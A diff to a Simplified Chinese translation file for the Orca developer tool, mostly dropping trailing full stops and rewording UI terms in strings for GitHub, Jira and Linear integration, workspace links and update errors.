@@ -21726,12 +22172,12 @@
     "setupTerminalTitle": "初始设置"
   },
   "mediaPreview": {
-    "unavailable": "无法播放此媒体文件。文件可能不可用或使用了不支持的编解码器。",
-    "openFailed": "无法在默认应用中打开此文件。",
+    "unavailable": "无法播放此媒体文件，文件可能不可用或使用了不支持的编解码器",
+    "openFailed": "无法在默认应用中打开此文件",
     "openDefault": "在默认应用中打开"
   },
   "projectBoard": {
-    "noColumnField": "此看板视图没有可用于分组的单选或迭代字段，因此 Orca 改为列出各项。",
+    "noColumnField": "此看板视图没有可用于分组的单选或迭代字段，因此 Orca 改为列出各项",
     "noField": "无 {{field}}"
   },
   "projectBoardCard": {
@@ -21745,70 +22191,70 @@
       "table": "表格"
     },
     "unsupported": {
-      "switchLayout": "切换到表格、看板或路线图视图以在 Orca 中处理此项目。",
-      "description": "Orca 可渲染表格、看板和路线图项目视图。此视图使用的布局尚无法渲染。",
-      "layoutNotSupported": "Orca 尚不支持{{layout}}项目视图。"
+      "switchLayout": "切换到表格、看板或路线图视图以在 Orca 中处理此项目",
+      "description": "Orca 可渲染表格、看板和路线图项目视图，此视图使用的布局尚无法渲染",
+      "layoutNotSupported": "Orca 尚不支持{{layout}}项目视图"
     },
     "authHelp": {
-      "hostSignedOut": "`gh` 尚未登录 {{host}}。",
-      "hostSignedOutDetail": "GitHub Enterprise 主机需要单独的 `gh` 登录，与 github.com 分开。请在终端中运行登录命令，在 {{host}} 上完成浏览器流程，然后重新加载。",
-      "ghMissing": "GitHub CLI（`gh`）未安装或不在 PATH 中。",
-      "ghMissingDetail": "Orca 使用 `gh` 与 GitHub Projects 通信。请从 cli.github.com 安装，然后登录。",
-      "envTokenKeyringFallback": "你的钥匙串中已有 `gh` 登录，移除该环境变量后会自动接管。",
-      "envTokenLoginAfterUnset": "取消设置后，请运行 `gh auth login` 正常登录，然后重试。",
-      "envTokenRemoveWindows": "找到设置 `{{varName}}` 的位置（系统或用户环境变量，或你的 PowerShell 配置文件），将其移除，然后重启 Orca 以加载新的环境。",
-      "envTokenRemovePosix": "找到导出 `{{varName}}` 的位置（通常是 `~/.zshrc`、`~/.zshenv`、`~/.bashrc`、`~/.profile` 或你的 shell 密钥管理器），将其移除，然后重启 Orca 以加载新的环境。",
-      "envTokenActive": "你的环境中设置了 `{{varName}}`，因此 `gh` 使用的是该令牌，而不是钥匙串中的登录。`gh auth refresh` 无法修改来自环境变量的令牌，所以运行它没有效果。",
-      "envTokenInherited": "Orca 从你的 shell 继承了 `{{varName}}`，`gh` 正在使用该令牌。`gh auth refresh` 不适用于来自环境变量的令牌。",
-      "envTokenInheritedDetailWindows": "在启动 Orca 的 shell 中（或在用户环境变量中）取消设置 `{{varName}}`，然后重启 Orca。",
-      "envTokenInheritedDetailPosix": "在启动 Orca 的 shell 中（或在 shell rc 文件中）取消设置 `{{varName}}`，然后重启 Orca。",
-      "signedOut": "你尚未通过 `gh` 登录 GitHub。",
-      "missingScopes": "你的 `gh` 令牌缺少 GitHub Projects 所需的权限范围：{{scopes}}。",
-      "missingScopesDetail": "请在终端中运行刷新命令。它会打开浏览器以授权新的权限范围，完成后回到这里并重新加载。",
-      "accessDeniedDetail": "你的令牌已具备所需权限范围，但 GitHub 仍拒绝访问。如果项目所在组织启用了 SAML SSO，你需要在 Settings → Developer settings → Personal access tokens → Configure SSO 中为该组织授权此令牌。"
+      "hostSignedOut": "`gh` 尚未登录 {{host}}",
+      "hostSignedOutDetail": "GitHub Enterprise 主机需要单独的 `gh` 登录，与 github.com 分开。请在终端中运行登录命令，在 {{host}} 上完成浏览器流程，然后重新加载",
+      "ghMissing": "GitHub CLI（`gh`）未安装或不在 PATH 中",
+      "ghMissingDetail": "Orca 使用 `gh` 与 GitHub Projects 通信。请从 cli.github.com 安装，然后登录",
+      "envTokenKeyringFallback": "你的钥匙串中已有 `gh` 登录，移除该环境变量后会自动接管",
+      "envTokenLoginAfterUnset": "取消设置后，请运行 `gh auth login` 正常登录，然后重试",
+      "envTokenRemoveWindows": "找到设置 `{{varName}}` 的位置（系统或用户环境变量，或你的 PowerShell 配置文件），将其移除，然后重启 Orca 以加载新的环境",
+      "envTokenRemovePosix": "找到导出 `{{varName}}` 的位置（通常是 `~/.zshrc`、`~/.zshenv`、`~/.bashrc`、`~/.profile` 或你的 shell 密钥管理器），将其移除，然后重启 Orca 以加载新的环境",
+      "envTokenActive": "你的环境中设置了 `{{varName}}`，因此 `gh` 使用的是该令牌，而不是钥匙串中的登录。`gh auth refresh` 无法修改来自环境变量的令牌，所以运行它没有效果",
+      "envTokenInherited": "Orca 从你的 shell 继承了 `{{varName}}`，`gh` 正在使用该令牌。`gh auth refresh` 不适用于来自环境变量的令牌",
+      "envTokenInheritedDetailWindows": "在启动 Orca 的 shell 中（或在用户环境变量中）取消设置 `{{varName}}`，然后重启 Orca",
+      "envTokenInheritedDetailPosix": "在启动 Orca 的 shell 中（或在 shell rc 文件中）取消设置 `{{varName}}`，然后重启 Orca",
+      "signedOut": "你尚未通过 `gh` 登录 GitHub",
+      "missingScopes": "你的 `gh` 令牌缺少 GitHub Projects 所需的权限范围：{{scopes}}",
+      "missingScopesDetail": "请在终端中运行刷新命令。它会打开浏览器以授权新的权限范围，完成后回到这里并重新加载",
+      "accessDeniedDetail": "你的令牌已具备所需权限范围，但 GitHub 仍拒绝访问。如果项目所在组织启用了 SAML SSO，你需要在 Settings → Developer settings → Personal access tokens → Configure SSO 中为该组织授权此令牌"
     },
     "picker": {
       "pasteUnparseable": "应为项目 URL 或 owner/number",
-      "ownerLoadFailed": "无法加载 {{owner}} 的项目。",
-      "organizationsLoadFailed": "部分组织未能加载（{{failureCount}}）。",
+      "ownerLoadFailed": "无法加载 {{owner}} 的项目",
+      "organizationsLoadFailed": "部分组织未能加载（{{failureCount}}）",
       "organizations": "组织",
       "listFailed": "无法列出项目",
       "detailsFailed": "无法加载详情",
       "viewFailed": "无法获取项目视图"
     },
     "error": {
-      "notFoundState": "找不到此项目或视图。",
-      "schemaDrift": "无法读取此项目视图。",
-      "projectOrViewNotFound": "未找到项目或视图。",
-      "projectNotFound": "未找到项目。",
-      "viewNotFound": "找不到所选视图。",
-      "ownerNotFound": "未找到所有者。",
-      "itemNotFound": "未找到条目。",
-      "issueNotFound": "未找到议题。",
-      "inputRequired": "请输入内容。",
-      "inputTooLarge": "项目引用过长，无法解析。",
-      "inputUnparseable": "无法解析输入。应为 GitHub 项目 URL 或 `owner/number`。",
-      "invalidSlug": "无效的 {{field}}：“{{value}}”不是有效的 GitHub 标识。",
-      "invalidPositiveInteger": "无效的 {{field}}：必须是正整数。",
-      "invalidOwnerType": "无效的所有者类型。",
-      "invalidItemType": "无效的条目类型。",
-      "missingIds": "缺少 ID。",
-      "updatesRequired": "需要提供更新内容。",
-      "commentBodyRequired": "评论内容不能为空。",
-      "duplicateTargetNotAllowed": "仅在以重复关闭时才能指定重复目标。",
-      "duplicateTargetRequired": "需要提供重复目标的议题编号。",
+      "notFoundState": "找不到此项目或视图",
+      "schemaDrift": "无法读取此项目视图",
+      "projectOrViewNotFound": "未找到项目或视图",
+      "projectNotFound": "未找到项目",
+      "viewNotFound": "找不到所选视图",
+      "ownerNotFound": "未找到所有者",
+      "itemNotFound": "未找到条目",
+      "issueNotFound": "未找到议题",
+      "inputRequired": "请输入内容",
+      "inputTooLarge": "项目引用过长，无法解析",
+      "inputUnparseable": "无法解析输入。应为 GitHub 项目 URL 或 `owner/number`",
+      "invalidSlug": "无效的 {{field}}：“{{value}}”不是有效的 GitHub 标识",
+      "invalidPositiveInteger": "无效的 {{field}}：必须是正整数",
+      "invalidOwnerType": "无效的所有者类型",
+      "invalidItemType": "无效的条目类型",
+      "missingIds": "缺少 ID",
+      "updatesRequired": "需要提供更新内容",
+      "commentBodyRequired": "评论内容不能为空",
+      "duplicateTargetNotAllowed": "仅在以重复关闭时才能指定重复目标",
+      "duplicateTargetRequired": "需要提供重复目标的议题编号",
       "requestInvalid": "无效请求 — {{detail}}",
       "requestFailedDetail": "GitHub 请求失败：{{detail}}",
-      "requestFailed": "GitHub 请求失败。",
+      "requestFailed": "GitHub 请求失败",
       "unexpectedRestResponse": "意外的 REST 响应：{{detail}}",
-      "authRequired": "请登录 GitHub 以加载项目任务。运行 `{{command}}`。",
-      "scopeMissing": "访问 GitHub 项目需要额外的权限范围。运行 `{{command}}`。",
-      "rateLimitNearlyExhausted": "GitHub 速率限制即将用尽（剩余 {{remaining}}/{{limit}}）。约 {{minutes}} 分钟后重置。",
-      "rateLimited": "已达到 GitHub 速率限制。请几分钟后重试。",
-      "network": "网络错误 — 请检查你的网络连接。",
-      "tooLargeUnknownCount": "此视图条目过多，无法在 Orca 中渲染。请在 GitHub 上缩小视图的筛选范围。",
-      "schemaDriftDetail": "无法读取此项目视图：{{detail}}。",
-      "tooLargeCount_other": "此视图有 {{count}} 个条目，过多而无法在 Orca 中显示。请在 GitHub 上缩小视图的筛选范围。"
+      "authRequired": "请登录 GitHub 以加载项目任务。运行 `{{command}}`",
+      "scopeMissing": "访问 GitHub 项目需要额外的权限范围。运行 `{{command}}`",
+      "rateLimitNearlyExhausted": "GitHub 速率限制即将用尽（剩余 {{remaining}}/{{limit}}）。约 {{minutes}} 分钟后重置",
+      "rateLimited": "已达到 GitHub 速率限制。请几分钟后重试",
+      "network": "网络错误 — 请检查你的网络连接",
+      "tooLargeUnknownCount": "此视图条目过多，无法在 Orca 中渲染。请在 GitHub 上缩小视图的筛选范围",
+      "schemaDriftDetail": "无法读取此项目视图：{{detail}}",
+      "tooLargeCount_other": "此视图有 {{count}} 个条目，过多而无法在 Orca 中显示。请在 GitHub 上缩小视图的筛选范围"
     },
     "columns": {
       "type": "类型"
@@ -21818,7 +22264,7 @@
     "updateFailed": "无法更新项目字段"
   },
   "workspaceDeletion": {
-    "preferenceSaveFailed": "无法保存删除偏好设置",
+    "preferenceSaveFailed": "无法保存删除偏好",
     "alwaysForceDelete": "始终强制删除",
     "alwaysForceDeleteDescription": "适用于今后所有工作区删除操作。",
     "moreActions": "更多强制删除选项",
@@ -21833,27 +22279,27 @@
     "branchChoice": {
       "title": "此工作树使用的分支",
       "existing": "现有分支",
-      "existingHint": "新提交将添加到此分支。",
+      "existingHint": "新提交将添加到此分支",
       "new": "新分支",
       "newHint": "创建新的本地分支",
       "newName": "新分支名称",
       "automaticName": "自动命名"
     },
     "links": {
-      "foreignReview": "此评审属于另一个仓库。请添加来自此工作区仓库的评审。",
-      "repositoryLoading": "仓库身份仍在加载。待其可用后重试。",
-      "duplicate": "此链接已附加。",
-      "title": "已链接的工作",
-      "empty": "将此工作区的所有评审和任务集中在一起。",
+      "foreignReview": "此评审属于其他仓库，请添加此工作区所属仓库的评审",
+      "repositoryLoading": "仓库标识仍在加载，待其可用后重试",
+      "duplicate": "此链接已关联",
+      "title": "关联工作",
+      "empty": "将此工作区的所有评审和任务集中管理",
       "reviews": "评审",
-      "tasks": "议题和任务",
+      "tasks": "议题与任务",
       "openItem": "打开 {{label}}",
       "open": "打开链接",
-      "unlinkItem": "取消链接 {{label}}",
-      "unlink": "从工作区取消链接",
+      "unlinkItem": "取消关联 {{label}}",
+      "unlink": "取消与工作区的关联",
       "details": "工作区详情",
-      "description": "为此工作区关联评审和任务，并保留笔记。",
-      "commentHelp": "支持 Markdown。按 Enter 或 {{shortcut}} 保存 · Shift+Enter 换行。",
+      "description": "为此工作区关联评审和任务，并记录备注",
+      "commentHelp": "支持 Markdown，按 Enter 或 {{shortcut}} 保存 · Shift+Enter 换行",
       "kind": {
         "github_pr": "GitHub PR",
         "github_issue": "GitHub 议题",
@@ -21868,38 +22314,38 @@
       "mrReference": "MR !{{number}}",
       "prReference": "PR #{{number}}",
       "issueReference": "议题 #{{number}}",
-      "foreignIssue": "此议题属于另一个仓库。请添加来自此工作区仓库的议题。",
-      "linkedResult": "已链接",
+      "foreignIssue": "此议题属于其他仓库，请添加此工作区所属仓库的议题",
+      "linkedResult": "已关联",
       "addReference": "添加引用",
       "searchLabel": "搜索引用",
       "searchReferences": "搜索评审和任务，或粘贴链接",
-      "noReferences": "没有匹配的引用。请尝试标题、编号或 URL。",
+      "noReferences": "没有匹配的引用，试试标题、编号或 URL",
       "addItem": "添加 {{label}}",
       "referenceType": "引用类型",
       "clearSearch": "清除搜索",
-      "inlineSearchHint": "选择结果以附加。",
-      "nameHelp": "显示在侧边栏中。文件夹名称保持不变。",
-      "notes": "笔记",
-      "addNotes": "添加笔记",
+      "inlineSearchHint": "选择一个结果以关联",
+      "nameHelp": "显示在侧边栏中，文件夹名称保持不变",
+      "notes": "备注",
+      "addNotes": "添加备注",
       "notesOptional": "可选 · Markdown",
-      "saveHint": "保存后更改才会生效",
+      "saveHint": "更改将在保存后生效",
       "terminal": "终端",
-      "seenIn": "出现于 {{label}}",
+      "seenIn": "出现在 {{label}}",
       "unavailableTab": "标签页不可用",
-      "sessions": "会话和终端",
-      "jiraModeRequired": "选择 Smart 或 Jira 以加载此议题。",
-      "linearModeRequired": "选择 Smart 或 Linear 以加载此议题。",
+      "sessions": "会话与终端",
+      "jiraModeRequired": "选择\"智能\"或 Jira 以加载此议题",
+      "linearModeRequired": "选择\"智能\"或 Linear 以加载此议题",
       "loadingLinear": "正在加载 Linear 议题…",
-      "linearConnectRequired": "在设置中连接 Linear 以链接此议题。",
-      "linearReadFailed": "无法加载此 Linear 议题。请检查 URL 和已连接的工作区。",
+      "linearConnectRequired": "在设置中连接 Linear 以关联此议题",
+      "linearReadFailed": "无法加载此 Linear 议题，请检查 URL 和已连接的工作区",
       "retrySource": "重试",
-      "lastKnownStatus": "上次已知状态",
+      "lastKnownStatus": "最后已知状态",
       "reviewTarget": "目标：{{branch}}",
-      "reviewUrlRequired": "粘贴评审 URL 以验证其仓库和提供方。",
-      "stackSummary": "已链接 {{count}} 项：{{references}}",
-      "sessionsForItem": "{{label}} 的会话和终端 · {{count}}",
+      "reviewUrlRequired": "粘贴评审 URL 以验证其仓库和提供方",
+      "stackSummary": "已关联 {{count}} 项：{{references}}",
+      "sessionsForItem": "{{label}} 的会话与终端 · {{count}}",
       "checksFailed": "失败",
-      "checksPending": "待处理",
+      "checksPending": "等待中",
       "checksPassing": "通过",
       "checksUnknown": "未知",
       "checksNeutral": "中性",
@@ -21909,8 +22355,8 @@
       "labels": "标签：{{labels}}"
     },
     "attachments": {
-      "updateRuntime": "更新远程运行时以更改工作区链接",
-      "updateRuntimeSafely": "更新远程运行时以安全地更改工作区链接"
+      "updateRuntime": "更新远程运行时以更改工作区关联",
+      "updateRuntimeSafely": "更新远程运行时以安全地更改工作区关联"
     },
     "activity": {
       "active": "当前",
@@ -21942,18 +22388,18 @@
       "regenerating": "正在重新生成…",
       "regenerate": "重新生成名称",
       "title": "无法为此聊天命名",
-      "description": "聊天命名智能体因错误而停止，因此聊天将保留其第一条消息作为名称。",
+      "description": "聊天命名代理因错误而停止，因此聊天将保留其第一条消息作为名称",
       "viewError": "查看错误",
       "settings": "设置",
       "dialogTitle": "聊天自动命名失败",
       "dialogDescriptionStart": "Orca 无法根据第一条消息为",
-      "dialogDescriptionEnd": "生成名称。",
+      "dialogDescriptionEnd": "生成名称",
       "errors": {
-        "noName": "聊天命名智能体未返回名称。",
-        "agentNotRun": "Orca 无法运行聊天命名智能体。",
-        "noAgentAvailable": "此工作区中没有可运行的聊天命名智能体。",
-        "grokFailed": "Grok 无法为此聊天命名。请尝试重新生成名称。",
-        "antigravityFailed": "Antigravity 无法为此聊天命名。请尝试重新生成名称。"
+        "noName": "聊天命名智能体未返回名称",
+        "agentNotRun": "Orca 无法运行聊天命名智能体",
+        "noAgentAvailable": "此工作区中没有可运行的聊天命名智能体",
+        "grokFailed": "Grok 无法为此聊天命名。请尝试重新生成名称",
+        "antigravityFailed": "Antigravity 无法为此聊天命名。请尝试重新生成名称"
       }
     }
   },
@@ -21961,30 +22407,30 @@
     "savedFilters": {
       "retry": "重试",
       "find": "查找已保存的筛选器",
-      "noMatch": "没有匹配的筛选器。",
-      "loadFailed": "无法加载已保存的 Jira 筛选器。",
-      "saveFailed": "无法保存 Jira 筛选器。"
+      "noMatch": "没有匹配的筛选器",
+      "loadFailed": "无法加载已保存的 Jira 筛选器",
+      "saveFailed": "无法保存 Jira 筛选器"
     },
     "statusFilters": {
-      "loadFailed": "无法加载 Jira 状态筛选器。",
-      "saveFailed": "无法保存 Jira 状态筛选器。",
-      "manualQuery": "状态筛选器适用于预设视图。清除搜索后即可使用。",
+      "loadFailed": "无法加载 Jira 状态筛选器",
+      "saveFailed": "无法保存 Jira 状态筛选器",
+      "manualQuery": "状态筛选器适用于预设视图，清除搜索后即可使用",
       "label": "按状态筛选 Jira 议题",
       "clear": "清除状态",
       "jql": "状态筛选器 JQL",
       "editJql": "作为 JQL 编辑",
-      "catalogHint": "状态来自已加载的议题。清除状态选择以查看此视图中的其他状态。"
+      "catalogHint": "状态来自已加载的议题，清除状态选择以查看此视图中的其他状态"
     },
     "connect": {
-      "scopedTokenGuide": "作用域令牌需要 read:jira-work、write:jira-work 和 read:jira-user。将邮箱留空以使用 Bearer 身份验证。",
-      "oldHostGuide": "此远程运行时需要邮箱和不带作用域的 API 令牌。请更新远程运行时以使用作用域令牌。",
-      "scopedDescription": "使用 Jira Cloud 站点 URL 和 API 令牌浏览议题。作用域令牌可以省略邮箱。",
+      "scopedTokenGuide": "作用域令牌需要 read:jira-work、write:jira-work 和 read:jira-user，将邮箱留空以使用 Bearer 身份验证",
+      "oldHostGuide": "此远程运行时需要邮箱和不带作用域的 API 令牌，请更新远程运行时以使用作用域令牌",
+      "scopedDescription": "使用 Jira Cloud 站点 URL 和 API 令牌浏览议题，作用域令牌可以省略邮箱",
       "optionalEmail": "Atlassian 邮箱（作用域令牌可选）"
     },
     "workspace": {
       "startAnother": "启动新工作区",
-      "empty": "将 Jira 议题关联到工作区，或选择其他视图。",
-      "openFailed": "无法打开关联到此 Jira 议题的工作区。",
+      "empty": "将 Jira 议题关联到工作区，或选择其他视图",
+      "openFailed": "无法打开关联到此 Jira 议题的工作区",
       "mode": "有工作区",
       "search": "搜索关联的议题",
       "linkedCount_other": "{{count}} 个工作区已关联到 {{key}}"
@@ -21994,7 +22440,7 @@
       "template": "模板",
       "custom": "自定义模板",
       "templateText": "模板文本",
-      "variables": "使用 $jira-issue 表示议题上下文，使用 $other-prompt 表示你的附加说明。保存在此设备上。",
+      "variables": "使用 $jira-issue 表示议题上下文，使用 $other-prompt 表示你的附加说明，保存在此设备上",
       "other": "附加说明（可选）",
       "preview": "预览",
       "implementation": "开始实现",
@@ -22008,16 +22454,16 @@
     },
     "transitions": {
       "changeStatus": "更改状态：{{status}}",
-      "loadError": "无法加载状态更改。",
+      "loadError": "无法加载状态更改",
       "retry": "重试",
       "loading": "正在加载状态更改…",
       "completeInJira": "在 Jira 中完成“{{name}}”",
-      "unsupported": "Jira 需要 Orca 目前无法收集的字段：{{fields}}。",
+      "unsupported": "Jira 需要 Orca 目前无法收集的字段：{{fields}}",
       "chooseResolution": "选择解决结果",
       "comment": "评论",
       "back": "返回",
       "apply": "更改状态",
-      "empty": "没有可用的状态更改。"
+      "empty": "没有可用的状态更改"
     },
     "board": {
       "currentSprint": "当前冲刺",
@@ -22026,27 +22472,27 @@
       "board": "看板",
       "moveIssue": "移动 {{key}}",
       "moveTitle": "将 {{key}} 移动到 {{column}}",
-      "moveDescription": "Jira 控制哪些状态更改可用，以及这些更改需要哪些字段。",
+      "moveDescription": "Jira 控制哪些状态更改可用，以及这些更改需要哪些字段",
       "chooseTransition": "选择状态更改：",
       "cancel": "取消",
-      "noTransition": "{{key}} 没有可转到 {{column}} 的状态更改。",
-      "queryTooLong": "Jira 查询过长。请缩短查询或清除筛选条件。"
+      "noTransition": "{{key}} 没有可转到 {{column}} 的状态更改",
+      "queryTooLong": "Jira 查询过长，请缩短查询或清除筛选条件"
     },
     "favourites": {
-      "activeLabel": "Jira 收藏夹：{{name}}",
-      "applyFailed": "无法应用 Jira 收藏夹。",
-      "chooseSite": "选择一个已连接的 Jira 站点以使用其收藏夹。",
-      "clear": "清除 Jira 收藏夹",
-      "clearFailed": "无法清除已保存的筛选器。待加载或保存完成后再重试。",
-      "empty": "未找到 Jira 收藏夹。",
-      "find": "查找 Jira 收藏夹",
-      "label": "Jira 收藏夹",
-      "loadFailed": "无法加载 Jira 收藏夹。",
-      "loading": "正在加载收藏夹…",
+      "activeLabel": "Jira 收藏：{{name}}",
+      "applyFailed": "无法应用 Jira 收藏",
+      "chooseSite": "选择一个已连接的 Jira 站点以使用其收藏",
+      "clear": "清除 Jira 收藏",
+      "clearFailed": "无法清除已保存的筛选器，请等待其加载或保存完成后重试",
+      "empty": "未找到 Jira 收藏",
+      "find": "查找 Jira 收藏",
+      "label": "Jira 收藏",
+      "loadFailed": "无法加载 Jira 收藏",
+      "loading": "正在加载收藏…",
       "refresh": "刷新",
-      "siteMismatch": "从收藏夹所在的 Jira 站点选择项目，或清除项目筛选器。",
-      "truncated": "部分收藏夹无法列出。请在 Jira 中管理收藏夹以缩小列表。",
-      "unsupported": "更新 Jira 主机以使用收藏夹。"
+      "siteMismatch": "请选择该收藏所属 Jira 站点中的项目，或清除项目筛选",
+      "truncated": "部分收藏无法列出，请在 Jira 中管理收藏以缩小列表",
+      "unsupported": "请更新 Jira 主机以使用收藏"
     }
   },
   "updates": {
@@ -22058,76 +22504,76 @@
       "instanceLabel": "其他 Orca 实例",
       "processId": "PID {{pid}}",
       "preparingTitle": "正在准备你的更新",
-      "preparingSummary": "重启前检查正在运行的 Orca 实例。",
+      "preparingSummary": "重启前检查正在运行的 Orca 实例",
       "later": "稍后",
-      "retainedDownload": "Orca 保持打开。无需重新下载。",
+      "retainedDownload": "Orca 保持打开，无需重新下载",
       "retryInstallation": "重试安装",
       "waitingLabel": "更新等待中",
       "busyTitle": "另一个 Orca 正在更新",
-      "busySummary": "另一个 Orca 实例已在安装更新。",
-      "busyGuidance": "请稍候片刻再重试。你下载的更新已就绪。",
+      "busySummary": "另一个 Orca 实例已在安装更新",
+      "busyGuidance": "请稍候片刻再重试，你下载的更新已就绪",
       "unresponsiveTitle": "正在等待后台服务器",
-      "unresponsiveSummary": "Orca 未能为更新暂停其后台服务器。",
-      "unresponsiveGuidance": "请从启动它的终端或服务中停止它，然后重试。已连接的设备将断开连接。",
+      "unresponsiveSummary": "Orca 未能为更新暂停其后台服务器",
+      "unresponsiveGuidance": "请从启动它的终端或服务中停止它，然后重试，已连接的设备将断开连接",
       "readyTitle": "你的更新已就绪",
-      "serverSummary": "某个后台 Orca 服务器仍在使用此应用。",
-      "instanceSummary": "另一个 Orca 实例仍在使用此应用。",
-      "serverGuidance": "请从启动服务器的终端或服务中停止它，然后重试。已连接的设备将断开连接。",
-      "mixedGuidance": "关闭所有其他 Orca 窗口，并从启动服务器的终端或服务中停止服务器。已连接的设备将断开连接。然后重试。",
-      "instanceGuidance": "退出其他 Orca 实例，然后重试。你下载的更新将保持就绪。",
-      "waitingAriaLabel": "更新正在等待其他 Orca 实例。点击展开。",
+      "serverSummary": "某个后台 Orca 服务器仍在使用此应用",
+      "instanceSummary": "另一个 Orca 实例仍在使用此应用",
+      "serverGuidance": "请从启动服务器的终端或服务中停止它，然后重试，已连接的设备将断开连接",
+      "mixedGuidance": "关闭所有其他 Orca 窗口，并从启动服务器的终端或服务中停止服务器，已连接的设备将断开连接，然后重试",
+      "instanceGuidance": "退出其他 Orca 实例，然后重试，你下载的更新将保持就绪",
+      "waitingAriaLabel": "更新正在等待其他 Orca 实例，点击展开",
       "preparingLabel": "正在准备更新",
-      "preparingAriaLabel": "正在准备更新。点击展开。",
-      "browserGuidance": "结束下方进程后重试：其服务器会继续运行，无需浏览器。如果其他计算机通过 SSH 连接到这台 Mac，请更新那台计算机上的 Orca，以便浏览器在更新时自动暂停。",
-      "browserSummary": "后台 Orca 服务器的浏览器仍在使用此应用程序。"
+      "preparingAriaLabel": "正在准备更新，点击展开",
+      "browserGuidance": "结束下方进程后重试，其服务器在没有浏览器时仍会继续运行，如果有另一台电脑将这台 Mac 用作 SSH 主机，在那台电脑上更新 Orca 后，浏览器就能自行为更新暂停",
+      "browserSummary": "后台 Orca 服务器的浏览器仍在使用此应用"
     },
-    "wslMoveInstallHeld": "项目正在移到其 WSL 主机。移动完成后再安装更新。",
-    "wslMoveUndoInstallHeld": "项目正在从其 WSL 主机移回。完成后再安装更新。",
+    "wslMoveInstallHeld": "项目正在移到其 WSL 主机。移动完成后再安装更新",
+    "wslMoveUndoInstallHeld": "项目正在从其 WSL 主机移回。完成后再安装更新",
     "failure": {
-      "releaseNotReady": "此设备暂时还无法获取更新的版本。请稍后再检查。",
-      "updateServerUnreachable": "无法连接更新服务器。请几分钟后重试。",
-      "channelUnsupportedPlatform": "{{channel}} 构建仅针对 macOS 和 Windows 提供。",
-      "unsignedDevChannel": "{{channel}} 构建未签名，而当前已签名的构建仅安装由 Orca 发布者签名的更新。请从版本发布页面下载安装程序并运行一次，之后更新即可正常进行，包括切回稳定版。",
-      "linuxPackageMissing": "下载的安装包已不在更新缓存中。请重新下载更新，或从官方版本发布页面获取。",
-      "linuxPackageNotRegular": "更新缓存中下载的安装包已不再是有效文件。请重新下载更新，或从官方版本发布页面获取。",
-      "linuxPackageHashMismatch": "下载的安装包与已验证的版本不再匹配，因此 Orca 不会将其交给包管理器。请重新下载更新，或从官方版本发布页面获取。",
-      "linuxPackageReadFailed": "Orca 无法读取下载的安装包。请重新下载更新，或从官方版本发布页面获取。",
-      "linuxPackageNoSudo": "系统目录中未找到 sudo 命令，因此 Orca 无法生成安全的安装命令。请显示安装包并使用包管理器安装。",
-      "linuxPackageNoPackageManager": "系统目录中未找到受支持的包管理器，因此 Orca 无法生成安全的安装命令。请显示安装包并使用包管理器安装。",
-      "linuxPackageInvalidPath": "下载的安装包不在可用路径中，因此 Orca 无法生成安全的安装命令。请显示安装包并使用包管理器安装。",
-      "linuxPackageMarkerUnusable": "Orca 无法验证已安装的 Linux 软件包格式，因此不会自动安装此更新。请从官方版本发布页面下载更新并手动安装。",
-      "linuxPackageExternallyManaged": "此 Orca 由系统包管理器管理，因此 Orca 无法自行安装更新。请通过所用的发行版更新 Orca。",
-      "linuxPackageManualInstall": "运行系统软件包安装命令前，请先退出 Orca。",
-      "linuxPackageMetadataUnusable": "无法验证下载的安装包元数据。请先退出 Orca，再从官方版本发布页面下载并安装更新。",
-      "unknownReleaseChannel": "未知的发布渠道“{{channel}}”。",
-      "invalidReleaseTag": "“{{tag}}”不是有效的发布标签。",
-      "releaseRepoNotFound": "在 {{repo}} 未找到发布版本的仓库。",
-      "releaseListFailed": "无法列出 {{channel}} 构建（HTTP {{status}}）。",
-      "releaseListUnreadable": "无法读取 {{channel}} 的版本发布列表。",
-      "rateLimitedSoon": "已达到 GitHub 速率限制。请几分钟后重试。",
-      "rateLimitedSoonSignedOut": "已达到 GitHub 速率限制。请几分钟后重试，或运行 `gh auth login`，以便 Orca 使用你账户的更高限额。",
-      "rateLimitedInMinute": "已达到 GitHub 速率限制。请约一分钟后重试。",
-      "rateLimitedInMinuteSignedOut": "已达到 GitHub 速率限制。请约一分钟后重试，或运行 `gh auth login`，以便 Orca 使用你账户的更高限额。",
-      "rateLimitedInMinutes_other": "已达到 GitHub 速率限制。请约 {{count}} 分钟后重试。",
-      "rateLimitedInMinutesSignedOut_other": "已达到 GitHub 速率限制。请约 {{count}} 分钟后重试，或运行 `gh auth login`，以便 Orca 使用你账户的更高限额。"
+      "releaseNotReady": "此设备暂时还无法获取更新的版本。请稍后再检查",
+      "updateServerUnreachable": "无法连接更新服务器。请几分钟后重试",
+      "channelUnsupportedPlatform": "{{channel}} 构建仅针对 macOS 和 Windows 提供",
+      "unsignedDevChannel": "{{channel}} 构建未签名，而当前已签名的构建仅安装由 Orca 发布者签名的更新。请从版本发布页面下载安装程序并运行一次，之后更新即可正常进行，包括切回稳定版",
+      "linuxPackageMissing": "下载的安装包已不在更新缓存中。请重新下载更新，或从官方版本发布页面获取",
+      "linuxPackageNotRegular": "更新缓存中下载的安装包已不再是有效文件。请重新下载更新，或从官方版本发布页面获取",
+      "linuxPackageHashMismatch": "下载的安装包与已验证的版本不再匹配，因此 Orca 不会将其交给包管理器。请重新下载更新，或从官方版本发布页面获取",
+      "linuxPackageReadFailed": "Orca 无法读取下载的安装包。请重新下载更新，或从官方版本发布页面获取",
+      "linuxPackageNoSudo": "系统目录中未找到 sudo 命令，因此 Orca 无法生成安全的安装命令。请显示安装包并使用包管理器安装",
+      "linuxPackageNoPackageManager": "系统目录中未找到受支持的包管理器，因此 Orca 无法生成安全的安装命令。请显示安装包并使用包管理器安装",
+      "linuxPackageInvalidPath": "下载的安装包不在可用路径中，因此 Orca 无法生成安全的安装命令。请显示安装包并使用包管理器安装",
+      "linuxPackageMarkerUnusable": "Orca 无法验证已安装的 Linux 软件包格式，因此不会自动安装此更新。请从官方版本发布页面下载更新并手动安装",
+      "linuxPackageExternallyManaged": "此 Orca 由系统包管理器管理，因此 Orca 无法自行安装更新。请通过所用的发行版更新 Orca",
+      "linuxPackageManualInstall": "运行系统软件包安装命令前，请先退出 Orca",
+      "linuxPackageMetadataUnusable": "无法验证下载的安装包元数据。请先退出 Orca，再从官方版本发布页面下载并安装更新",
+      "unknownReleaseChannel": "未知的发布渠道“{{channel}}”",
+      "invalidReleaseTag": "“{{tag}}”不是有效的发布标签",
+      "releaseRepoNotFound": "在 {{repo}} 未找到发布版本的仓库",
+      "releaseListFailed": "无法列出 {{channel}} 构建（HTTP {{status}}）",
+      "releaseListUnreadable": "无法读取 {{channel}} 的版本发布列表",
